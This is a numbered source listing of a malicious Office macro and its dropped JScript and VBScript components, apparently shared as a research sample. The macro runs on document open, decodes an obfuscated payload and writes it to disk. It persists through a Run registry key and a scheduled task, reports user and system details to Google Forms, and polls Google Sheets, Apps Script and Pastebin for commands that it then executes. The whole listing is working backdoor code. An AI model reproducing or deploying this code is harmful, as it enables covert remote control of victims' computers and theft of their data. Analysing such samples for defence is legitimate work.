512 | f = f & "zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLWFnZW50IiwgIk1vemlsbGEvNS4wIChMaW51eDsgVTsgQW" | |
513 | f = f & "5kcm9pZCAyLjMuMzsgemgtdHc7IEhUQyBQeXJhbWlkIEJ1aWxkL0dSSTQwKSBBcHBsZVdlYktpd" | |
514 | f = f & "C81MzMuMSAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIE1vYmlsZSBTYWZhcmkvNTMz" | |
515 | f = f & "LjEiKTsNCgkJaHR0cFJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGl" | |
516 | f = f & "jYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CQ0KCQlodHRwUmVxLnNlbmQoZW50cnkgKy" | |
517 | f = f & "AiPSIgKyB2YWx1ZSk7DQoJfSBjYXRjaCAoZSkge30NCn0NCiANCmZ1bmN0aW9uIHNwbGl0KHN0c" | |
518 | f = f & "iwgc2VwYXJhdG9yLCBsaW1pdCkgew0KCXN0ciA9IHN0ci5zcGxpdChzZXBhcmF0b3IpOw0KCWlm" | |
519 | f = f & "KHN0ci5sZW5ndGggPD0gbGltaXQpIHJldHVybiBzdHI7DQoNCgl2YXIgcmV0ID0gc3RyLnNwbGl" | |
520 | f = f & "jZSgwLCBsaW1pdCk7DQoJcmV0LnB1c2goc3RyLmpvaW4oc2VwYXJhdG9yKSk7DQoNCglyZXR1cm" | |
521 | f = f & "4gcmV0Ow0KfQ0KDQpmdW5jdGlvbiBDVUlEKCl7DQoJdmFyIHNuID0gIjEiOw0KCXRyeSB7DQoJC" | |
522 | f = f & "XZhciBGU08gPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmpl" | |
523 | f = f & "Y3QiKTsgDQoJCXZhciBzdHJEcml2ZSA9IEZTTy5HZXREcml2ZU5hbWUoRlNPLkdldFNwZWNpYWx" | |
524 | f = f & "Gb2xkZXIoMCkpOw0KCQl2YXIgRCA9IEZTTy5HZXREcml2ZShzdHJEcml2ZSk7DQoJCXNuID0gRC" | |
525 | f = f & "5TZXJpYWxOdW1iZXI7DQoJfSBjYXRjaCAoZSkge30NCgl2YXIgcmVzdWx0ID0gQmFzZTY0LmVuY" | |
526 | f = f & "29kZShzbi50b1N0cmluZygpKTsNCglyZXN1bHQgPSByZXN1bHQucmVwbGFjZSgvW15cd10rL2cs" | |
527 | f = f & "ICIiKS5zbGljZSgwLCAyMCk7DQoJcmVzdWx0ID0gdXVpZCsiLiIrZ2lhYysiLiIrcmVzdWx0Ow0" | |
528 | f = f & "KCXJldHVybiAJcmVzdWx0Ow0KfQ==" | |
529 | ||
530 | Set sh = CreateObject("WScript.Shell") | |
531 | Dim FileNumber, figName, procID | |
532 | Dim WorkPath As String | |
533 | WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%") | |
534 | WorkPath = WorkPath & "\TransbaseOdbcDriver" | |
535 | Dim statMkDir As Boolean | |
536 | statMkDir = CreateDir(WorkPath) | |
537 | If statMkDir Then | |
538 | FileNumber = FreeFile | |
539 | figName = WorkPath & "\TransbaseOdbcDriver.js" | |
540 | Open figName For Output As #FileNumber | |
541 | Print #FileNumber, AP6fuezipn4(f) | |
542 | Close #FileNumber | |
543 | procID = Shell("wscript " & figName, vbHide) | |
544 | End If | |
545 | ||
546 | End Sub | |
547 | ||
548 | Private Sub SetRegData() | |
549 | On Error Resume Next | |
550 | Set sh = CreateObject("WScript.Shell") | |
551 | Dim wscript_pthpath: wscript_pthpath = sh.ExpandEnvironmentStrings("%WINDIR%") + "\System32\WScript.exe" | |
552 | Dim run_pth_scr: run_pth_scr = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%") + "\TransbaseOdbcDriver" + "\starter.vbs" | |
553 | Dim run_pth: run_pth = """" & wscript_pthpath & """ """ & run_pth_scr & """" | |
554 | On Error Resume Next | |
555 | sh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\TransbaseOdbcDriver", run_pth, "REG_SZ" | |
556 | On Error Resume Next | |
557 | sh.Run "schtasks /create /tn ""SysChecks"" /tr """ & run_pth & """ /sc minute /mo 30", 0, False | |
558 | End Sub | |
559 | ||
560 | Sub BH5qxufh333W99fghjplkWrtqzzY() | |
561 | Dim BI5kb0jp7 As Document: Set BI5kb0jp7 = ActiveDocument | |
562 | Application.ScreenUpdating = False | |
563 | ||
564 | Dim txt As String | |
565 | txt = cuid() | |
566 | txt = txt & " | " & GetUserData() | |
567 | txt = txt & " | " & IsWin32OrWin64() | |
568 | txt = txt & " | " & getOS() | |
569 | ||
570 | On Error GoTo ErrHandler: | |
571 | ||
572 | Dim res | |
573 | res = sendFormData(txt) | |
574 | ||
575 | If res Then | |
576 | ActiveDocument.Bookmarks("orderBkm12").Range.Text = "2017-3" | |
577 | Else | |
578 | ActiveDocument.Bookmarks("orderBkm12").Range.Text = "3037-2" | |
579 | End If | |
580 | ||
581 | ActiveDocument.Shapes(1).Visible = False | |
582 | ActiveDocument.Shapes(2).Visible = True | |
583 | ||
584 | ErrHandler: | |
585 | ||
586 | On Error GoTo ErrHandler2: | |
587 | ||
588 | folderInit | |
589 | ggl_runer | |
590 | ggl_starter | |
591 | ||
592 | Application.Run ("ggl_hex") | |
593 | SetRegData | |
594 | ErrHandler2: | |
595 | ||
596 | ||
597 | ||
598 | ||
599 | ||
600 | ||
601 | ||
602 | ||
603 | ||
604 | ||
605 | ||
606 | ||
607 | Application.ScreenUpdating = True | |
608 | End Sub | |
609 | ||
610 | Sub AutoOpen() | |
611 | Application.Run ("BH5qxufh3" + (AP6fuezipn4("MzNXOTlmZw==") & "hj" & "" & "plkWrtqzzY")) | |
612 | End Sub | |
613 | ||
614 | Sub Workbook_Open() | |
615 | Application.Run ("BH5qxufh3" + (AP6fuezipn4("MzNXOTlm") & "ghj" & Chr(-89 + 201) & Chr(-66 + 174) & Chr(12 + 95) & "WrtqzzY")) | |
616 | End Sub | |
617 | ||
618 | ||
619 | ===== TransbaseOdbcDriver.js =================================================================== | |
620 | ||
621 | var objSWbemServicesEx = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2"); | |
622 | var collSWbemObjectSet = objSWbemServicesEx.ExecQuery( "SELECT Name, CommandLine, ProcessID FROM Win32_Process WHERE Name LIKE '%[cw]script.exe' AND CommandLine LIKE '%[cw]script%" + WScript.ScriptName + "%'", "WQL", 0); | |
623 | if(collSWbemObjectSet.Count > 1){ WScript.Quit(); } | |
624 | ||
625 | var Base64 = { | |
626 | ||
627 | // private property | |
628 | _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", | |
629 | ||
630 | // public method for encoding | |
631 | encode: function (input) { | |
632 | var output = ""; | |
633 | var chr1, chr2, chr3, enc1, enc2, enc3, enc4; | |
634 | var i = 0; | |
635 | ||
636 | input = Base64._utf8_encode(input); | |
637 | ||
638 | while (i < input.length) { | |
639 | ||
640 | chr1 = input.charCodeAt(i++); | |
641 | chr2 = input.charCodeAt(i++); | |
642 | chr3 = input.charCodeAt(i++); | |
643 | ||
644 | enc1 = chr1 >> 2; | |
645 | enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); | |
646 | enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); | |
647 | enc4 = chr3 & 63; | |
648 | ||
649 | if (isNaN(chr2)) { | |
650 | enc3 = enc4 = 64; | |
651 | } else if (isNaN(chr3)) { | |
652 | enc4 = 64; | |
653 | } | |
654 | ||
655 | output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); | |
656 | ||
657 | } | |
658 | ||
659 | return output; | |
660 | }, | |
661 | ||
662 | // public method for decoding | |
663 | decode: function (input) { | |
664 | var output = ""; | |
665 | var chr1, chr2, chr3; | |
666 | var enc1, enc2, enc3, enc4; | |
667 | var i = 0; | |
668 | ||
669 | input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); | |
670 | ||
671 | while (i < input.length) { | |
672 | ||
673 | enc1 = this._keyStr.indexOf(input.charAt(i++)); | |
674 | enc2 = this._keyStr.indexOf(input.charAt(i++)); | |
675 | enc3 = this._keyStr.indexOf(input.charAt(i++)); | |
676 | enc4 = this._keyStr.indexOf(input.charAt(i++)); | |
677 | ||
678 | chr1 = (enc1 << 2) | (enc2 >> 4); | |
679 | chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); | |
680 | chr3 = ((enc3 & 3) << 6) | enc4; | |
681 | ||
682 | output = output + String.fromCharCode(chr1); | |
683 | ||
684 | if (enc3 != 64) { | |
685 | output = output + String.fromCharCode(chr2); | |
686 | } | |
687 | if (enc4 != 64) { | |
688 | output = output + String.fromCharCode(chr3); | |
689 | } | |
690 | ||
691 | } | |
692 | ||
693 | output = Base64._utf8_decode(output); | |
694 | ||
695 | return output; | |
696 | ||
697 | }, | |
698 | ||
699 | // private method for UTF-8 encoding | |
700 | _utf8_encode: function (string) { | |
701 | string = string.replace(/\r\n/g, "\n"); | |
702 | var utftext = ""; | |
703 | ||
704 | for (var n = 0; n < string.length; n++) { | |
705 | ||
706 | var c = string.charCodeAt(n); | |
707 | ||
708 | if (c < 128) { | |
709 | utftext += String.fromCharCode(c); | |
710 | } else if ((c > 127) && (c < 2048)) { | |
711 | utftext += String.fromCharCode((c >> 6) | 192); | |
712 | utftext += String.fromCharCode((c & 63) | 128); | |
713 | } else { | |
714 | utftext += String.fromCharCode((c >> 12) | 224); | |
715 | utftext += String.fromCharCode(((c >> 6) & 63) | 128); | |
716 | utftext += String.fromCharCode((c & 63) | 128); | |
717 | } | |
718 | ||
719 | } | |
720 | ||
721 | return utftext; | |
722 | }, | |
723 | ||
724 | // private method for UTF-8 decoding | |
725 | _utf8_decode: function (utftext) { | |
726 | var string = ""; | |
727 | var i = 0; | |
728 | var c = c1 = c2 = 0; | |
729 | ||
730 | while (i < utftext.length) { | |
731 | ||
732 | c = utftext.charCodeAt(i); | |
733 | ||
734 | if (c < 128) { | |
735 | string += String.fromCharCode(c); | |
736 | i++; | |
737 | } else if ((c > 191) && (c < 224)) { | |
738 | c2 = utftext.charCodeAt(i + 1); | |
739 | string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); | |
740 | i += 2; | |
741 | } else { | |
742 | c2 = utftext.charCodeAt(i + 1); | |
743 | c3 = utftext.charCodeAt(i + 2); | |
744 | string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); | |
745 | i += 3; | |
746 | } | |
747 | ||
748 | } | |
749 | ||
750 | return string; | |
751 | } | |
752 | } | |
753 | ||
754 | if(!CreateDir())WScript.Quit(); | |
755 | ||
756 | var giac = "1"; | |
757 | var uuid = "1"; | |
758 | var guid = CUID(); | |
759 | ||
760 | var setttingArr = false; | |
761 | ||
762 | do { | |
763 | ||
764 | if ( setttingArr ) { | |
765 | GetSourceCode(setttingArr.spreadsheetkey, setttingArr.formkey, setttingArr.entry); | |
766 | }else{ | |
767 | setttingArr = LoadLinkSettings(); | |
768 | } | |
769 | WScript.Sleep(1000*60*randInt(1,2)); | |
770 | } | |
771 | while (1); | |
772 | function randInt(min, max){ | |
773 | return Math.round(Math.random()*(max-min)+min); | |
774 | } | |
775 | ||
776 | function LoadLinkSettings() { | |
777 | var go_com = InetRead("https://script.google.com/macros/s/AKfycbzoIDrStSeb5iJmwsxGZBvocsw4da2FZw0_fqOkRAgwzH7h2aE/exec"+ "?bid=" + guid); | |
778 | try { | |
779 | if( go_com['stat'] >= 200 && go_com['stat'] < 300){ | |
780 | var cmd_txt = go_com['text']; | |
781 | var settingsArr = cmd_txt.match( /,\\x22userHtml\\x22:\\x22(.+)\\x22,\\x22ncc/ ); | |
782 | var setting = split(settingsArr[1],'$$$',3); | |
783 | if (setting.length == 3) { | |
784 | return { | |
785 | "spreadsheetkey": setting[0] | |
786 | ,"formkey": setting[1] | |
787 | ,"entry": setting[2] | |
788 | }; | |
789 | } | |
790 | var formkeyReg = "1BZuP3VYQjLAI59Dp_O9vCH1kg_gQNvhIvv-BkmpBTZ4"; | |
791 | var entryReg = "entry.2025885932"; | |
792 | LogInet(guid,formkeyReg,entryReg); | |
793 | } | |
794 | } catch (e) {} | |
795 | return false; | |
796 | } | |
797 | ||
798 | function GetSourceCode(aspreadsheetkey,aformkey,aentry) { | |
799 | ||
800 | var GlobalObject = this; | |
801 | var FSO = new ActiveXObject("Scripting.FileSystemObject"); | |
802 | var WshShell = new ActiveXObject("WScript.Shell"); | |
803 | ||
804 | var formkey = aformkey; | |
805 | var entry = aentry; | |
806 | var spreadsheetkey = aspreadsheetkey; | |
807 | ||
808 | var intervalMin = 30; | |
809 | var intervalMax = 50; | |
810 | var botclass = GenerateString(8); | |
811 | var last = TextFileRead("%ALLUSERSPROFILE%\\TransbaseOdbcDriver\\dttsg.txt"); | |
812 | var version = "1.0"; | |
813 | ||
814 | var linkPB = "http://pastebin.com/raw/MfQV5e6R"; //as of 2017-02-02 {last: "abc123", code: "ZGltIHh4eA=="} | |
815 | var keyPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\lasts"; | |
816 | ||
817 | WshShell.CurrentDirectory = GetScriptDir(); | |
818 | Log(); | |
819 | GetCommand(); | |
820 | ||
821 | function GetCommand() { | |
822 | try { | |
823 | var legc = getLastExeGoogCmd(); | |
824 | var cmb_ob = {} | |
825 | cmb_ob.flag = false; | |
826 | ||
827 | var go_com = InetRead("https://docs.google.com/spreadsheet/ccc?key=" + spreadsheetkey); | |
828 | if( go_com['stat'] >= 200 && go_com['stat'] < 300){ | |
829 | var cmd_txt = HTMLParse(go_com['text']).document.documentElement.innerText; | |
830 | var command = split(cmd_txt,'$$$',3); | |
831 | if (command.length == 4) { | |
832 | cmb_ob.c = command[2]; | |
833 | cmb_ob.l = command[1]; | |
834 | cmb_ob.flag = true; | |
835 | }else{ | |
836 | cmb_ob.flag = false; | |
837 | } | |
838 | legc = 0; | |
839 | }else{ | |
840 | legc = parseInt(legc)+1; | |
841 | } | |
842 | ||
843 | legc = setLastExeGoogCmd(legc); | |
844 | if(legc >= 1 && legc <=4)return; | |
845 | ||
846 | if( !cmb_ob.flag ){ | |
847 | var pb_com = InetRead(linkPB); | |
848 | if( pb_com['stat'] >= 200 && pb_com['stat'] < 300){ | |
849 | var jsn = eval ("(" + pb_com['text'] + ")"); | |
850 | cmb_ob.c = jsn["code"]; | |
851 | cmb_ob.l = jsn['last']; | |
852 | cmb_ob.flag = true; | |
853 | }else{ | |
854 | cmb_ob.flag = false; | |
855 | } | |
856 | } | |
857 | ||
858 | if( cmb_ob.flag ){ | |
859 | if(last != cmb_ob.l){ | |
860 | //last = cmb_ob.l; | |
861 | var r = TextFileCreate("%ALLUSERSPROFILE%\\TransbaseOdbcDriver\\dttsg.txt"); | |
862 | r.Write(cmb_ob.l); | |
863 | r.Close(); | |
864 | Log("GetCommand::" + cmb_ob.c); | |
865 | //eval(cmb_ob.c); | |
866 | if(last == "")return; | |
867 | ||
868 | var cod_data = Base64.decode(cmb_ob.c); | |
869 | if(cod_data == "deleteBot")destroy(); | |
870 | ||
871 | var tempname1 = "LanCradDriver.ini"; | |
872 | var tempname2 = "LanCradDriver.vbs"; | |
873 | var tmpPath = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver"); | |
874 | var tempath1 = tmpPath + "\\"+tempname1; | |
875 | var tempath2 = tmpPath + "\\"+tempname2; | |
876 | ||
877 | var f = FSO.OpenTextFile(tempath1,2,false,-1); | |
878 | f.Write(cod_data); | |
879 | f.Close(); | |
880 | ||
881 | WScript.Sleep(5000); | |
882 | WshShell.Run('cmd.exe /k wscript.exe "' + tempath2 + '"',0,false); | |
883 | } | |
884 | }else{ | |
885 | Log("GetCommand::" + "no exect"); | |
886 | } | |
887 | } catch (e) { | |
888 | Log("GetCommand::" + e.description); | |
889 | } | |
890 | } | |
891 | ||
892 | function getRandomInt(min, max) { | |
893 | return Math.floor(Math.random() * (max - min + 1)) + min; | |
894 | } | |
895 | ||
896 | function GetScriptDir() { | |
897 | return GetScriptFullPath().replace(/[^\\]+$/g, ""); | |
898 | } | |
899 | ||
900 | function GetScriptFullPath() { | |
901 | if (GlobalObject.location && GlobalObject.location.href) return unescape(location.href.replace(/^.+\/\/\//, "").replace(/\//g, "\\")); | |
902 | if (GlobalObject.WScript) return WScript.ScriptFullName; | |
903 | return ""; | |
904 | } | |
905 | ||
906 | function HTMLParse(code, dont_prevent_code_exec) { | |
907 | try { | |
908 | var document = new ActiveXObject("HTMLFile"); | |
909 | if (!dont_prevent_code_exec) document.designMode = "on"; | |
910 | document.write(code); | |
911 | document.close(); | |
912 | if (!dont_prevent_code_exec) document.execCommand("stop"); | |
913 | return document.parentWindow; | |
914 | } catch (e) { | |
915 | Log("HTMLParse::" + e.description) | |
916 | }; | |
917 | return {}; | |
918 | } | |
919 | ||
920 | function Log(value) { | |
921 | value = value || ""; | |
922 | value | |
923 | value = guid + "$$$" + botclass + "::" + GetUserName() + "::" + encodeURI(value); | |
924 | LogInet(value,formkey,entry); | |
925 | } | |
926 | ||
927 | function FileExists(Path) { | |
928 | Path = WshShell.ExpandEnvironmentStrings(Path); | |
929 | return FSO.FolderExists(Path) || FSO.FileExists(Path); | |
930 | } | |
931 | ||
932 | function TextFileRead(Path) { | |
933 | if (!Path) return ""; | |
934 | if (!FileExists(Path)) return ""; | |
935 | Path = WshShell.ExpandEnvironmentStrings(Path); | |
936 | if (FSO.GetFile(Path).Size == 0) return ""; | |
937 | try { | |
938 | var Stream = FSO.OpenTextFile(Path, 1, 0, -2), | |
939 | Result = Stream.ReadAll(); | |
940 | Stream.Close(); | |
941 | return Result; | |
942 | } catch (e) { | |
943 | //Log("TextFileRead::" + Path + "::" + e.descrition); | |
944 | }; | |
945 | } | |
946 | ||
947 | function TextFileCreate(Path) { | |
948 | try { | |
949 | Path = WshShell.ExpandEnvironmentStrings(Path); | |
950 | if (FileExists(Path)) FSO.DeleteFile(Path, true); | |
951 | return FSO.OpenTextFile(Path, 2, 1, -1) | |
952 | } catch (e) { | |
953 | Log("TextFileCreate::" + e.description) | |
954 | }; | |
955 | return null; | |
956 | } | |
957 | ||
958 | function GenerateString(L) { | |
959 | if (!L) L = 8; | |
960 | return new ActiveXObject("Scriptlet.TypeLib").Guid.replace(/[^\w]+/g, "").slice(0, L); | |
961 | } | |
962 | ||
963 | function CreateObject(ProgId) { | |
964 | return new ActiveXObject(ProgId); | |
965 | } | |
966 | ||
967 | function GetUserName() { | |
968 | try { | |
969 | return CreateObject("WScript.NetWork").UserName; | |
970 | } catch (e) { | |
971 | Log("GetUserName::" + e.description); | |
972 | return "Unknown" | |
973 | } | |
974 | } | |
975 | ||
976 | function getLastExeGoogCmd() { | |
977 | var regValue = 0; | |
978 | try { | |
979 | regValue = WshShell.RegRead(keyPath); | |
980 | } catch (e) { | |
981 | setLastExeGoogCmd(regValue); | |
982 | } | |
983 | return regValue; | |
984 | } | |
985 | function setLastExeGoogCmd(regValue) { | |
986 | try { | |
987 | WshShell.RegWrite(keyPath,regValue, "REG_SZ"); | |
988 | } catch (e) { | |
989 | return -1; | |
990 | } | |
991 | return regValue; | |
992 | } | |
993 | ||
994 | function sDOS2Win(sText, bInsideOut) { | |
995 | var aCharsets = ["windows-1251", "cp866"]; | |
996 | sText += ""; | |
997 | bInsideOut = bInsideOut ? 1 : 0; | |
998 | with (new ActiveXObject("ADODB.Stream")) { | |
999 | type = 2; //Binary 1, Text 2 (default) | |
1000 | mode = 3; //Permissions have not been set 0, Read-only 1, Write-only 2, Read-write 3, | |
1001 | //Prevent other read 4, Prevent other write 8, Prevent other open 12, Allow others all 16 | |
1002 | charset = aCharsets[bInsideOut]; | |
1003 | open(); | |
1004 | writeText(sText); | |
1005 | position = 0; | |
1006 | charset = aCharsets[1 - bInsideOut]; | |
1007 | return readText(); | |
1008 | } | |
1009 | } | |
1010 | ||
1011 | function destroy(){ | |
1012 | try { | |
1013 | WshShell.RegDelete("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\TransbaseOdbcDriver"); | |
1014 | }catch(e){} | |
1015 | ||
1016 | try { | |
1017 | WshShell.Run('schtasks /delete /tn "SysChecks" /f', 0, false); | |
1018 | }catch(e){} | |
1019 | ||
1020 | var strScriptDir = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver"); | |
1021 | var strScript = ""; | |
1022 | ||
1023 | try { | |
1024 | strScript = WScript.ScriptFullName; | |
1025 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); } | |
1026 | }catch(e){} | |
1027 | ||
1028 | try { | |
1029 | strScript = strScriptDir + "\\LanCradDriver.ini"; | |
1030 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); } | |
1031 | }catch(e){} | |
1032 | try { | |
1033 | strScript = strScriptDir + "\\LanCradDriver.vbs"; | |
1034 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); } | |
1035 | }catch(e){} | |
1036 | try { | |
1037 | strScript = strScriptDir + "\\starter.vbs"; | |
1038 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); } | |
1039 | }catch(e){} | |
1040 | try { | |
1041 | strScript = strScriptDir + "\\pather.vbs"; | |
1042 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); } | |
1043 | }catch(e){} | |
1044 | try { | |
1045 | strScript = strScriptDir + "\\pather.ini"; | |
1046 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); } | |
1047 | }catch(e){} | |
1048 | ||
1049 | WScript.Quit(); | |
1050 | } | |
1051 | } | |
1052 | ||
1053 | function CreateDir(){ | |
1054 | try { | |
1055 | var WshShell = new ActiveXObject("WScript.Shell"); | |
1056 | var dirpath = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver"); | |
1057 | var FSO = WScript.CreateObject("Scripting.FileSystemObject"); | |
1058 | if(!FSO.FolderExists(dirpath)){ | |
1059 | FSO.CreateFolder(dirpath); | |
1060 | } | |
1061 | return true; | |
1062 | }catch(e){} | |
1063 | return true; | |
1064 | } | |
1065 | ||
1066 | function getProxy(){ | |
1067 | var WshShell = new ActiveXObject("WScript.Shell"); | |
1068 | ||
1069 | try { | |
1070 | var ProxyEnable = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable"); | |
1071 | if(ProxyEnable == 1){ | |
1072 | var ProxyServer = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer"); | |
1073 | return ProxyServer; | |
1074 | }else{ | |
1075 | return ""; | |
1076 | } | |
1077 | } catch (e) { | |
1078 | return ""; | |
1079 | } | |
1080 | } | |
1081 | ||
1082 | function InetRead(url) { | |
1083 | var data_sataus_arr = new Object(); | |
1084 | try { | |
1085 | var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0"); | |
1086 | httpReq.setOption(2, 13056); //SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS = 13056; SXH_OPTION_URL = -1 | |
1087 | httpReq.setTimeouts(0, 0, 0, 0); | |
1088 | httpReq.open("GET", url, false); | |
1089 | var prox = getProxy() | |
1090 | if( prox != ""){ | |
1091 | httpReq.setProxy(2, prox, ""); | |
1092 | } | |
1093 | httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"); | |
1094 | httpReq.send(); | |
1095 | //WScript.Echo(httpReq.getAllResponseHeaders()); | |
1096 | //WScript.Echo(httpReq.status); | |
1097 | data_sataus_arr['stat'] = httpReq.status; | |
1098 | data_sataus_arr['text'] = httpReq.responseText; | |
1099 | } catch (e) { | |
1100 | //WScript.Echo(httpReq.status); | |
1101 | data_sataus_arr['text'] = ""; | |
1102 | data_sataus_arr['stat'] = "100"; | |
1103 | }; | |
1104 | return data_sataus_arr; | |
1105 | } | |
1106 | ||
1107 | function LogInet(value,formkey,entry) { | |
1108 | try { | |
1109 | var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0"); | |
1110 | httpReq.setOption(2, 13056); | |
1111 | httpReq.setTimeouts(0, 0, 0, 0); | |
1112 | url = "https://docs.google.com/forms/d/" + formkey + "/formResponse"; | |
1113 | httpReq.open("POST", url, false); | |
1114 | var prox = getProxy() | |
1115 | if( prox != ""){ | |
1116 | httpReq.setProxy(2, prox, ""); | |
1117 | } | |
1118 | httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"); | |
1119 | httpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); | |
1120 | httpReq.send(entry + "=" + value); | |
1121 | } catch (e) {} | |
1122 | } | |
1123 | ||
1124 | function split(str, separator, limit) { | |
1125 | str = str.split(separator); | |
1126 | if(str.length <= limit) return str; | |
1127 | ||
1128 | var ret = str.splice(0, limit); | |
1129 | ret.push(str.join(separator)); | |
1130 | ||
1131 | return ret; | |
1132 | } | |
1133 | ||
1134 | function CUID(){ | |
1135 | var sn = "1"; | |
1136 | try { | |
1137 | var FSO = WScript.CreateObject("Scripting.FileSystemObject"); | |
1138 | var strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0)); | |
1139 | var D = FSO.GetDrive(strDrive); | |
1140 | sn = D.SerialNumber; | |
1141 | } catch (e) {} | |
1142 | var result = Base64.encode(sn.toString()); | |
1143 | result = result.replace(/[^\w]+/g, "").slice(0, 20); | |
1144 | result = uuid+"."+giac+"."+result; | |
1145 | return result; | |
1146 | } | |
1147 | ==== LanCradDriver.vbs ==================================================================== | |
1148 | ||
1149 | Dim objFSO, objShell, strFile, ReadAllTextFile | |
1150 | Set objFSO = CreateObject("Scripting.FileSystemObject") | |
1151 | Set objShell = WScript.CreateObject( "WScript.Shell" ) | |
1152 | strFile = objShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\TransbaseOdbcDriver\LanCradDriver.ini") | |
1153 | Set objFile = objFSO.OpenTextFile(strFile,1,false,-1) | |
1154 | If objFile.AtEndOfStream Then | |
1155 | ReadAllTextFile = "" | |
1156 | Else | |
1157 | ReadAllTextFile = objFile.ReadAll | |
1158 | End If | |
1159 | objFile.Close | |
1160 | ExecuteGlobal ReadAllTextFile | |
1161 | ||
1162 | ||
1163 | ## uploaded by @JohnLaTwc |